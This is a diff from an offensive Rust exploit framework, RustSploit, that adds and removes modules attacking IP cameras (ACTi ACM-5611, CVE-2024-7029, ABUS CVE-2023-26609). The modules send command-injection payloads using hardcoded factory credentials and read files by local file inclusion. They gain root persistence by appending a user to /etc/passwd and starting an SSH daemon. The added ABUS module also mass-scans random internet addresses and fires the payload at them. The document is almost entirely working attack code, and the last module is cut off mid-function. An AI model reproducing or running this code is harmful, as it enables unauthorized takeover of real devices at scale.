}
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
@@ -1,122 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
|
||||
if raw.contains("]:") {
|
||||
if let Some(idx) = raw.rfind("]:") {
|
||||
let addr_raw = &raw[..idx];
|
||||
let port = &raw[idx + 2..];
|
||||
// strip ALL brackets from the address portion
|
||||
let addr_inner = addr_raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
return format!("[{}]:{}", addr_inner, port);
|
||||
}
|
||||
}
|
||||
// Otherwise, remove any outer brackets entirely...
|
||||
let inner = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
|
||||
if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Inject a root user with a hashed password into /etc/passwd
|
||||
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
|
||||
let payload = format!(
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Generate an MD5 hash of the given password
|
||||
fn generate_md5_hash(password: &str) -> String {
|
||||
let digest = md5::compute(password.as_bytes());
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Dispatcher entry-point for the auto-dispatch framework
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute_flow(target).await
|
||||
}
|
||||
@@ -1,79 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
.get(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.query(&[("iperf", format!(";{}", cmd))])
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
io::stdout().flush()?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
break;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
let payload = format!("1;{};", cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port()?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod wpair;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,371 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use std::io::{self, Write};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions (FIRST)
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
std::io::stdin().read_line(&mut custom_cmd)?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
@@ -1,2 +1,2 @@
|
||||
pub mod abussecurity_camera_cve202326609variant1;
|
||||
pub mod abussecurity_camera_cve202326609variant2;
|
||||
|
||||
@@ -0,0 +1,293 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use ipnetwork::IpNetwork;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use chrono::Local;
|
||||
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
|
||||
|
||||
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
||||
|
||||
let port = prompt_port("Target Port", 8080)?;
|
||||
|
||||
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
